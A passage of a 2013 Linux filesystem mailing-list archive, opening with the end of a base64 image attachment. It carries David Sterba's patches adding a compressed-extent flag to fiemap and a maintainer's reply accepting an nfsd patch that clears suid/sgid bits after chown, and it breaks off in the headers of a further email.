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 ------=_NextPart_000_00C3_01CEF723.E27A6070-- From dsterba@suse.cz Thu Dec 12 09:26:09 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D749A7F4E for ; Thu, 12 Dec 2013 09:26:08 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5985BAC004 for ; Thu, 12 Dec 2013 07:26:05 -0800 (PST) X-ASG-Debug-ID: 1386861963-04cb6c537d6d8e40001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id hxCtIh3LzgDy7eNg (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 07:26:04 -0800 (PST) X-Barracuda-Envelope-From: dsterba@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id DF2F3ABA9; Thu, 12 Dec 2013 15:26:02 +0000 (UTC) Received: by ds.suse.cz (Postfix, from userid 10065) id 73EFBDA86C; Thu, 12 Dec 2013 16:26:02 +0100 (CET) From: David Sterba To: linux-fsdevel@vger.kernel.org Cc: David Sterba , adilger@dilger.ca, hch@infradead.org, mfasheh@suse.com, viro@zeniv.linux.org.uk, xfs@oss.sgi.com, linux-nilfs@vger.kernel.org, ocfs2-devel@oss.oracle.com, linux-ext4@vger.kernel.org, linux-btrfs@vger.kernel.org Subject: [PATCH 0/4 v3] fiemap: introduce EXTENT_DATA_COMPRESSED flag Date: Thu, 12 Dec 2013 16:25:57 +0100 X-ASG-Orig-Subj: [PATCH 0/4 v3] fiemap: introduce EXTENT_DATA_COMPRESSED flag Message-Id: X-Mailer: git-send-email 1.8.5 X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1386861963 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143042 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header The original FIEMAP patch did not define this bit, btrfs will make use of it. The defined constant maintains the same value as originally proposed. Currently, the 'filefrag' utility has no way to recognize and denote a compressed extent. As implemented in btrfs right now, the compression step splits a big extent into smaller chunks and this is reported as a heavily fragmented file. Adding the flag to filefrag will at least give some explanation why, this has been confusing users for some time already. V3: Based on feedback from Andreas, implement #1 from V2, current users of fiemap_fill_next_extent (fs/, ext4, gfs2, ocfs2, nilfs2, xfs) updated accordingly, no functional change. V2: Based on feedback from Andreas, the fiemap_extent is now able to hold the physical extent length, to be filled by the filesystem callback. The filesystems do not have access to the structure that is passed back to userspace and are supposed to call fiemap_fill_next_extent, there's no direct way to fill fe_phys_length. There are two ways to pass it: 1) extend fiemap_fill_next_extent to take phys_length and update all users (ext4, gfs2, ocfs2, nilfs2, xfs) 2) add new function that takes arguments for all the fiemap_extent items, newly added phys_length compared to fiemap_fill_next_extent David Sterba (4): fiemap: fix comment at EXTENT_DATA_ENCRYPTED fiemap: add EXTENT_DATA_COMPRESSED flag btrfs: set FIEMAP_EXTENT_DATA_COMPRESSED for compressed extents Documentation/fiemap: Document the DATA_COMPRESSED flag Documentation/filesystems/fiemap.txt | 17 +++++++++++++---- fs/btrfs/extent_io.c | 9 +++++++-- fs/ext4/extents.c | 3 ++- fs/ext4/inline.c | 2 +- fs/gfs2/inode.c | 2 +- fs/ioctl.c | 18 ++++++++++++------ fs/nilfs2/inode.c | 8 +++++--- fs/ocfs2/extent_map.c | 4 ++-- fs/xfs/xfs_iops.c | 2 +- include/linux/fs.h | 2 +- include/uapi/linux/fiemap.h | 8 ++++++-- 11 files changed, 51 insertions(+), 24 deletions(-) -- 1.7.9 From dsterba@suse.cz Thu Dec 12 09:26:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1B02E7F54 for ; Thu, 12 Dec 2013 09:26:12 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0681330406A for ; Thu, 12 Dec 2013 07:26:09 -0800 (PST) X-ASG-Debug-ID: 1386861966-04cbb041666dee10001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id vPyD9b0KUT5yPVdg (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 07:26:07 -0800 (PST) X-Barracuda-Envelope-From: dsterba@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id EF99FABCA; Thu, 12 Dec 2013 15:26:05 +0000 (UTC) Received: by ds.suse.cz (Postfix, from userid 10065) id BA9FBDA86C; Thu, 12 Dec 2013 16:26:05 +0100 (CET) From: David Sterba To: linux-fsdevel@vger.kernel.org Cc: David Sterba , adilger@dilger.ca, hch@infradead.org, mfasheh@suse.com, viro@zeniv.linux.org.uk, xfs@oss.sgi.com, linux-nilfs@vger.kernel.org, ocfs2-devel@oss.oracle.com, linux-ext4@vger.kernel.org, linux-btrfs@vger.kernel.org Subject: [PATCH 2/4 v3] fiemap: add EXTENT_DATA_COMPRESSED flag Date: Thu, 12 Dec 2013 16:25:59 +0100 X-ASG-Orig-Subj: [PATCH 2/4 v3] fiemap: add EXTENT_DATA_COMPRESSED flag Message-Id: <4f8d5dc5b51a43efaf16c39398c23a6276e40a30.1386778303.git.dsterba@suse.cz> X-Mailer: git-send-email 1.8.5 In-Reply-To: References: In-Reply-To: References: X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1386861966 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143042 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header This flag was not accepted when fiemap was proposed [2] due to lack of in-kernel users. Btrfs has compression for a long time and we'd like to see that an extent is compressed in the output of 'filefrag' utility once it's taught about it. For that purpose, a reserved field from fiemap_extent is used to let the filesystem store along the physcial extent length when the flag is set. This keeps compatibility with applications that use FIEMAP. Extend arguments of fiemap_fill_next_extent and update all users. [1] http://article.gmane.org/gmane.comp.file-systems.ext4/8871 [2] http://thread.gmane.org/gmane.comp.file-systems.ext4/8870 [3] http://thread.gmane.org/gmane.linux.file-systems/77632 (v1) [4] http://www.spinics.net/lists/linux-fsdevel/msg69078.html (v2) Cc: Al Viro CC: Andreas Dilger CC: Christoph Hellwig CC: Mark Fasheh Signed-off-by: David Sterba --- fs/btrfs/extent_io.c | 2 +- fs/ext4/extents.c | 3 ++- fs/ext4/inline.c | 2 +- fs/gfs2/inode.c | 2 +- fs/ioctl.c | 18 ++++++++++++------ fs/nilfs2/inode.c | 8 +++++--- fs/ocfs2/extent_map.c | 4 ++-- fs/xfs/xfs_iops.c | 2 +- include/linux/fs.h | 2 +- include/uapi/linux/fiemap.h | 6 +++++- 10 files changed, 31 insertions(+), 18 deletions(-) diff --git a/fs/btrfs/extent_io.c b/fs/btrfs/extent_io.c index ff43802..5ea0ef5 100644 --- a/fs/btrfs/extent_io.c +++ b/fs/btrfs/extent_io.c @@ -4244,7 +4244,7 @@ int extent_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo, end = 1; } ret = fiemap_fill_next_extent(fieinfo, em_start, disko, - em_len, flags); + em_len, 0, flags); if (ret) goto out_free; } diff --git a/fs/ext4/extents.c b/fs/ext4/extents.c index 35f65cf..00ffd18 100644 --- a/fs/ext4/extents.c +++ b/fs/ext4/extents.c @@ -2224,6 +2224,7 @@ static int ext4_fill_fiemap_extents(struct inode *inode, (__u64)es.es_lblk << blksize_bits, (__u64)es.es_pblk << blksize_bits, (__u64)es.es_len << blksize_bits, + 0, flags); if (err < 0) break; @@ -4798,7 +4799,7 @@ static int ext4_xattr_fiemap(struct inode *inode, if (physical) error = fiemap_fill_next_extent(fieinfo, 0, physical, - length, flags); + length, 0, flags); return (error < 0 ? error : 0); } diff --git a/fs/ext4/inline.c b/fs/ext4/inline.c index bae9875..c5da773 100644 --- a/fs/ext4/inline.c +++ b/fs/ext4/inline.c @@ -1816,7 +1816,7 @@ int ext4_inline_data_fiemap(struct inode *inode, if (physical) error = fiemap_fill_next_extent(fieinfo, 0, physical, - length, flags); + length, 0, flags); brelse(iloc.bh); out: up_read(&EXT4_I(inode)->xattr_sem); diff --git a/fs/gfs2/inode.c b/fs/gfs2/inode.c index 7119504..86e9e9b 100644 --- a/fs/gfs2/inode.c +++ b/fs/gfs2/inode.c @@ -1817,7 +1817,7 @@ static int gfs2_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo, len = size - start; if (start < size) ret = fiemap_fill_next_extent(fieinfo, start, phys, - len, flags); + len, 0, flags); if (ret == 1) ret = 0; } else { diff --git a/fs/ioctl.c b/fs/ioctl.c index 8ac3fad..e7902c4 100644 --- a/fs/ioctl.c +++ b/fs/ioctl.c @@ -70,6 +70,7 @@ static int ioctl_fibmap(struct file *filp, int __user *p) * @logical: Extent logical start offset, in bytes * @phys: Extent physical start offset, in bytes * @len: Extent length, in bytes + * @phys_len: Physical extent length in bytes * @flags: FIEMAP_EXTENT flags that describe this extent * * Called from file system ->fiemap callback. Will populate extent @@ -80,10 +81,11 @@ static int ioctl_fibmap(struct file *filp, int __user *p) * extent that will fit in user array. */ #define SET_UNKNOWN_FLAGS (FIEMAP_EXTENT_DELALLOC) -#define SET_NO_UNMOUNTED_IO_FLAGS (FIEMAP_EXTENT_DATA_ENCRYPTED) +#define SET_NO_UNMOUNTED_IO_FLAGS (FIEMAP_EXTENT_DATA_ENCRYPTED | \ + FIEMAP_EXTENT_DATA_COMPRESSED) #define SET_NOT_ALIGNED_FLAGS (FIEMAP_EXTENT_DATA_TAIL|FIEMAP_EXTENT_DATA_INLINE) int fiemap_fill_next_extent(struct fiemap_extent_info *fieinfo, u64 logical, - u64 phys, u64 len, u32 flags) + u64 phys, u64 len, u64 phys_len, u32 flags) { struct fiemap_extent extent; struct fiemap_extent __user *dest = fieinfo->fi_extents_start; @@ -110,6 +112,9 @@ int fiemap_fill_next_extent(struct fiemap_extent_info *fieinfo, u64 logical, extent.fe_length = len; extent.fe_flags = flags; + if (flags & FIEMAP_EXTENT_DATA_COMPRESSED) + extent.fe_phys_length = phys_len; + dest += fieinfo->fi_extents_mapped; if (copy_to_user(dest, &extent, sizeof(extent))) return -EFAULT; @@ -318,10 +323,11 @@ int __generic_block_fiemap(struct inode *inode, flags = FIEMAP_EXTENT_MERGED|FIEMAP_EXTENT_LAST; ret = fiemap_fill_next_extent(fieinfo, logical, phys, size, - flags); + 0, flags); } else if (size) { ret = fiemap_fill_next_extent(fieinfo, logical, - phys, size, flags); + phys, size, + 0, flags); size = 0; } @@ -347,7 +353,7 @@ int __generic_block_fiemap(struct inode *inode, if (start_blk > last_blk && !whole_file) { ret = fiemap_fill_next_extent(fieinfo, logical, phys, size, - flags); + 0, flags); break; } @@ -358,7 +364,7 @@ int __generic_block_fiemap(struct inode *inode, if (size) { ret = fiemap_fill_next_extent(fieinfo, logical, phys, size, - flags); + 0, flags); if (ret) break; } diff --git a/fs/nilfs2/inode.c b/fs/nilfs2/inode.c index 7e350c5..b03917a 100644 --- a/fs/nilfs2/inode.c +++ b/fs/nilfs2/inode.c @@ -1018,7 +1018,8 @@ int nilfs_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo, if (size) { /* End of the current extent */ ret = fiemap_fill_next_extent( - fieinfo, logical, phys, size, flags); + fieinfo, logical, phys, size, 0, + flags); if (ret) break; } @@ -1068,7 +1069,8 @@ int nilfs_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo, flags |= FIEMAP_EXTENT_LAST; ret = fiemap_fill_next_extent( - fieinfo, logical, phys, size, flags); + fieinfo, logical, phys, size, 0, + flags); if (ret) break; size = 0; @@ -1084,7 +1086,7 @@ int nilfs_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo, /* Terminate the current extent */ ret = fiemap_fill_next_extent( fieinfo, logical, phys, size, - flags); + 0, flags); if (ret || blkoff > end_blkoff) break; diff --git a/fs/ocfs2/extent_map.c b/fs/ocfs2/extent_map.c index 767370b..521b0f2 100644 --- a/fs/ocfs2/extent_map.c +++ b/fs/ocfs2/extent_map.c @@ -735,7 +735,7 @@ static int ocfs2_fiemap_inline(struct inode *inode, struct buffer_head *di_bh, phys += offsetof(struct ocfs2_dinode, id2.i_data.id_data); - ret = fiemap_fill_next_extent(fieinfo, 0, phys, id_count, + ret = fiemap_fill_next_extent(fieinfo, 0, phys, id_count, 0, flags); if (ret < 0) return ret; @@ -809,7 +809,7 @@ int ocfs2_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo, virt_bytes = (u64)le32_to_cpu(rec.e_cpos) << osb->s_clustersize_bits; ret = fiemap_fill_next_extent(fieinfo, virt_bytes, phys_bytes, - len_bytes, fe_flags); + len_bytes, 0, fe_flags); if (ret) break; diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index 27e0e54..31e9f53 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -1000,7 +1000,7 @@ xfs_fiemap_format( fiemap_flags |= FIEMAP_EXTENT_LAST; error = fiemap_fill_next_extent(fieinfo, logical, physical, - length, fiemap_flags); + length, 0, fiemap_flags); if (error > 0) { error = 0; *full = 1; /* user array now full */ diff --git a/include/linux/fs.h b/include/linux/fs.h index 121f11f..1a96f9b 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -1479,7 +1479,7 @@ struct fiemap_extent_info { fiemap_extent array */ }; int fiemap_fill_next_extent(struct fiemap_extent_info *info, u64 logical, - u64 phys, u64 len, u32 flags); + u64 phys, u64 len, u64 phys_len, u32 flags); int fiemap_check_flags(struct fiemap_extent_info *fieinfo, u32 fs_flags); /* diff --git a/include/uapi/linux/fiemap.h b/include/uapi/linux/fiemap.h index 93abfcd..0e32cae 100644 --- a/include/uapi/linux/fiemap.h +++ b/include/uapi/linux/fiemap.h @@ -19,7 +19,9 @@ struct fiemap_extent { __u64 fe_physical; /* physical offset in bytes for the start * of the extent from the beginning of the disk */ __u64 fe_length; /* length in bytes for this extent */ - __u64 fe_reserved64[2]; + __u64 fe_phys_length; /* physical length in bytes, undefined if + * DATA_COMPRESSED not set */ + __u64 fe_reserved64; __u32 fe_flags; /* FIEMAP_EXTENT_* flags for this extent */ __u32 fe_reserved[3]; }; @@ -50,6 +52,8 @@ struct fiemap { * Sets EXTENT_UNKNOWN. */ #define FIEMAP_EXTENT_ENCODED 0x00000008 /* Data can not be read * while fs is unmounted */ +#define FIEMAP_EXTENT_DATA_COMPRESSED 0x00000040 /* Data is compressed by fs. + * Sets EXTENT_ENCODED */ #define FIEMAP_EXTENT_DATA_ENCRYPTED 0x00000080 /* Data is encrypted by fs. * Sets EXTENT_ENCODED */ #define FIEMAP_EXTENT_NOT_ALIGNED 0x00000100 /* Extent offsets may not be -- 1.7.9 From bfields@fieldses.org Thu Dec 12 10:01:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 917EA7F51 for ; Thu, 12 Dec 2013 10:01:46 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6FE318F804C for ; Thu, 12 Dec 2013 08:01:43 -0800 (PST) X-ASG-Debug-ID: 1386864101-04cbb041696e0f40001-NocioJ Received: from fieldses.org (fieldses.org [174.143.236.118]) by cuda.sgi.com with ESMTP id IBCTLoZMlyYn2u65 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 08:01:42 -0800 (PST) X-Barracuda-Envelope-From: bfields@fieldses.org X-Barracuda-Apparent-Source-IP: 174.143.236.118 Received: from bfields by fieldses.org with local (Exim 4.76) (envelope-from ) id 1Vr8hc-00039i-Fl; Thu, 12 Dec 2013 11:01:28 -0500 Date: Thu, 12 Dec 2013 11:01:28 -0500 From: "J. Bruce Fields" To: Stanislav Kholmanskikh Cc: linux-nfs@vger.kernel.org, vasily.isaenko@oracle.com, hch@infradead.org, xfs@oss.sgi.com, sprabhu@redhat.com Subject: Re: [PATCH] nfsd: revoking of suid/sgid bits after chown() in a consistent way Message-ID: <20131212160128.GC11521@fieldses.org> X-ASG-Orig-Subj: Re: [PATCH] nfsd: revoking of suid/sgid bits after chown() in a consistent way References: <20131206204747.GB12613@fieldses.org> <1386756996-28083-1-git-send-email-stanislav.kholmanskikh@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1386756996-28083-1-git-send-email-stanislav.kholmanskikh@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: fieldses.org[174.143.236.118] X-Barracuda-Start-Time: 1386864102 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Thanks, applying for 3.14.--b. On Wed, Dec 11, 2013 at 02:16:36PM +0400, Stanislav Kholmanskikh wrote: > There is an inconsistency in the handling of SUID/SGID file > bits after chown() between NFS and other local file systems. > > Local file systems (for example, ext3, ext4, xfs, btrfs) revoke > SUID/SGID bits after chown() on a regular file even if > the owner/group of the file has not been changed: > > ~# touch file; chmod ug+s file; chmod u+x file > ~# ls -l file > -rwsr-Sr-- 1 root root 0 Dec 6 04:49 file > ~# chown root file; ls -l file > -rwxr-Sr-- 1 root root 0 Dec 6 04:49 file > > but NFS doesn't do that: > > ~# touch file; chmod ug+s file; chmod u+x file > ~# ls -l file > -rwsr-Sr-- 1 root root 0 Dec 6 04:49 file > ~# chown root file; ls -l file > -rwsr-Sr-- 1 root root 0 Dec 6 04:49 file > > NFS does that only if the owner/group has been changed: > > ~# touch file; chmod ug+s file; chmod u+x file > ~# ls -l file > -rwsr-Sr-- 1 root root 0 Dec 6 05:02 file > ~# chown bin file; ls -l file > -rwxr-Sr-- 1 bin root 0 Dec 6 05:02 file > > See: http://pubs.opengroup.org/onlinepubs/9699919799/functions/chown.html > > "If the specified file is a regular file, one or more of > the S_IXUSR, S_IXGRP, or S_IXOTH bits of the file mode are set, > and the process has appropriate privileges, it is > implementation-defined whether the set-user-ID and set-group-ID > bits are altered." > > So both variants are acceptable by POSIX. > > This patch makes NFS to behave like local file systems. > > Signed-off-by: Stanislav Kholmanskikh > --- > fs/nfsd/vfs.c | 3 +-- > 1 files changed, 1 insertions(+), 2 deletions(-) > > diff --git a/fs/nfsd/vfs.c b/fs/nfsd/vfs.c > index 72cb28e..8226991 100644 > --- a/fs/nfsd/vfs.c > +++ b/fs/nfsd/vfs.c > @@ -348,8 +348,7 @@ nfsd_sanitize_attrs(struct inode *inode, struct iattr *iap) > > /* Revoke setuid/setgid on chown */ > if (!S_ISDIR(inode->i_mode) && > - (((iap->ia_valid & ATTR_UID) && !uid_eq(iap->ia_uid, inode->i_uid)) || > - ((iap->ia_valid & ATTR_GID) && !gid_eq(iap->ia_gid, inode->i_gid)))) { > + ((iap->ia_valid & ATTR_UID) || (iap->ia_valid & ATTR_GID))) { > iap->ia_valid |= ATTR_KILL_PRIV; > if (iap->ia_valid & ATTR_MODE) { > /* we're setting mode too, just clear the s*id bits */ > -- > 1.7.1 > From sandeen@sandeen.net Thu Dec 12 10:14:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 710DB7F54 for ; Thu, 12 Dec 2013 10:14:49 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0D3CFAC002 for ; Thu, 12 Dec 2013 08:14:45 -0800 (PST) X-ASG-Debug-ID: 1386864884-04bdf05ced3c250001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id 5ilXeGnlYhUeZ98U for ; Thu, 12 Dec 2013 08:14:44 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id DF7E763CEC76; Thu, 12 Dec 2013 10:14:43 -0600 (CST) Message-ID: <52A9E0EF.1000206@sandeen.net> Date: Thu, 12 Dec 2013 10:14:39 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner , Dave Jones CC: xfs@oss.sgi.com Subject: Re: XFS: Internal error XFS_WANT_CORRUPTED_RETURN References: <20131211172725.GA4606@redhat.com> <20131211230128.GM10988@dastard> X-ASG-Orig-Subj: Re: XFS: Internal error XFS_WANT_CORRUPTED_RETURN In-Reply-To: <20131211230128.GM10988@dastard> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 